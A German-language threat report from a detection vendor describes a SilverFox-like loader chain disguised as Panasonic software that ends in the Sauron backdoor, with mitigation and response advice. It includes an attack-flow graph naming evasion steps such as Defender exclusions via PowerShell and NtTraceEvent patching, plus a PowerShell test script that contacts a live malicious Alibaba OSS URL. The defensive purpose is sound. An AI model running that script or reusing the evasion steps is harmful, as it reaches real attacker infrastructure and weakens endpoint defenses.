SilverFox-ähnliche Loader-Kette verwendet Panasonic-Shells, Alibaba OSS und Sauron

SOC Prime Team

Folgen

SilverFox-ähnliche Loader-Kette verwendet Panasonic-Shells, Alibaba OSS und Sauron

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Diese Bedrohung konzentriert sich auf eine hochentwickelte mehrstufige Ladeprogramm-Kette, die als legitime Panasonic-Software getarnt ist. Die Malware verwendet Alibaba OSS zur Bereitstellung von Payloads und setzt auf bildbasierte verschlüsselte Träger, die ein charakteristisches fünf-Byte-EOF-Trailer-Format verwenden. Die letzte Phase installiert den Sauron-Backdoor, der durch Dienst-Erstellung und gezielte Registrierungsänderungen persistiert.

Untersuchung

Analysten führten sowohl eine statische als auch eine dynamische Analyse durch und deckten eine Abfolge von Side-Loading-Operationen auf, die von Binaries, getarnt als Tencent- und Philips-Software, durchgeführt wurden. Die Untersuchung enthüllte eine geschichtete Entschlüsselungsroutine unter Verwendung von inkrementierendem XOR und RC4 sowie die Erstellung geplanter Aufgaben über RPC-Mechanismen. Speicherforensik und Sandbox-Telemetrie halfen, den vollständigen Ausführungspfad vom anfänglichen Panasonic-basierten Wrapper bis zum endgültigen Sauron-Backdoor zu rekonstruieren.

Minderung

Organisationen sollten die unbefugte RPC-basierte Planung von Aufgaben und die verdächtige Erstellung geplanter Aufgaben über NdrClientCall3überwachen. Eine starke Anwendungs-Whitelist kann helfen, die Ausführung nicht genehmigter Side-Loaded-DLLs zu blockieren. Verteidiger sollten auch auf unerwartetes Löschen von Volume-Schattenkopien und verdächtige Registrierungsänderungen unter HKCUSOFTWARE.

Reaktion

Wenn diese Aktivität erkannt wird, isolieren Sie die betroffenen Systeme sofort, um eine weitere laterale Bewegung oder Kommunikationskommandos zu stoppen. Führen Sie Speicherforensik durch, um die injizierten Module zu identifizieren und den aktuellen Stand der Ladeprogramm-Kette zu bestimmen. Netzprotokolle sollten ebenfalls auf Verkehr zu Alibaba OSS-Infrastruktur und den bekannten Kommando-und-Kontroll-IP-Adressen überprüft werden, die während der Ersteinschätzung identifiziert wurden.

graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef evasion fill:#ccffcc classDef persistence fill:#ffff99 %% Node Definitions %% Initial Access and Execution exec_user_malicious[„Action – User Execution: Malicious File File: ainstaller-86533005.exe Description: User executes trojanized executable disguised as Panasonic PC Notification software.“] class exec_user_malicious action %% Obfuscation and Masquerading obf_files[„Obfuscated Files or Information Technique: Multi-layer staged buffers Mechanism: Custom XOR/RC4 decoding Extraction: Five-byte EOF trailer from image carriers.“] class obf_files malware mask_file_type[„Masquerading: Masquerade File Type Description: Using image extensions (gif, jpg, png, db) to hide encrypted payloads.“] class mask_file_type evasion %% Proxy Execution proxy_sys_bin[„System Binary Proxy Execution Target 1: Tencent UxEnhanceHost loading UxEnhance64.dll Target 2: Philips/Speech Processing Solutions host loading XPSPLOG.dll“] class proxy_sys_bin action %% Persistence persist_sched_task[„Scheduled Task/Job: Scheduled Task Module: VirtuOne Mechanism: RPC calls to Task Scheduler via \pipeatsvc Goal: Create hidden repeating tasks.“] class persist_sched_task persistence %% Defense Evasion evade_def_impair[„Defense Impairment Action: Patching ntdll.dll!NtTraceEvent“] class evade_def_impair evasion evade_selective_excl[„Selective Exclusion Tool: PowerShell Command: Add-MpPreference -ExclusionPath Goal: Add Windows Defender exclusions.“] class evade_selective_excl evasion %% Final Stage proxy_rundll32[„System Binary Proxy Execution: Rundll32 File: rundll32.dat Export: Edge Action: Installs and starts malicious service.“] class proxy_rundll32 action malware_sauron[„Malware: Sauron Type: Malicious Service Capability: Persistent backdoor and command-launching.“] class malware_sauron malware %% Connections %% Flow of execution exec_user_malicious –>|triggers| obf_files obf_files –>|utilizes| mask_file_type mask_file_type –>|leads_to| proxy_sys_bin proxy_sys_bin –>|enables| persist_sched_task persist_sched_task –>|facilitates| evade_def_impair persist_sched_task –>|facilitates| evade_selective_excl evade_def_impair –>|prepares environment for| proxy_rundll32 evade_selective_excl –>|prepares environment for| proxy_rundll32 proxy_rundll32 –>|installs| malware_sauron

Angriffsverlauf

Angriffsaufbau und Befehle: Der Angreifer beabsichtigt, eine zweite Stufe der Nutzlast herunterzuladen, indem ein legitimer Cloud-Speicherdienst verwendet wird, um sich in den normalen Datenverkehr einzufügen. Der Angreifer nutzt einen PowerShell-One-Liner, um einen Loader zu simulieren, welcher eine Anfrage an eine bekannte SilverFox Alibaba OSS URL stellt: https://jun616.oss-cn-beijing.aliyuncs.com/tad/payload.exe. Diese Aktion zielt darauf ab, einfache Domain-Filter zu umgehen, indem sie auf den Ruf von aliyuncs.com zurückgreift und den spezifischen bösartigen Pfad nutzt, der in der Erkennungsregel definiert ist.

Regressionstestskript:

# Simulation eines SilverFox-Ladeprogramms-Netzwerkindikators
# Dieses Skript versucht, eine Verbindung zu der spezifischen von der Sigma-Regel überwachten URL herzustellen.

$targetUrl = "https://jun616.oss-cn-beijing.aliyuncs.com/tad/test_file.txt"
Write-Host "[!] Simulation der SilverFox-Netzwerkverbindung zu: $targetUrl"

try {
    # Mit Invoke-WebRequest zur Erzeugung standardmäßiger HTTP-Proxy-Telemetrie
    $response = Invoke-WebRequest -Uri $targetUrl -Method Get -UseBasicParsing
    Write-Host "[+] Anfrage abgeschlossen. Statuscode: $($response.StatusCode)"
}
catch {
    # Wir erwarten einen 404- oder Verbindungsfehler, wenn die URL tatsächlich keine Datei hostet, 
    # aber das Proxy-Protokoll wird dennoch den Versuch aufzeichnen.
    Write-Host "[-] Anfrage versucht. Überprüfen Sie die Proxy-Logs für den Verbindungsversuch."
}

Bereinigung Befehle:

# Keine nachhaltigen Änderungen durch diese Simulation; keine Bereinigung erforderlich.
Write-Host "[*] Bereinigung der Simulation abgeschlossen."

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten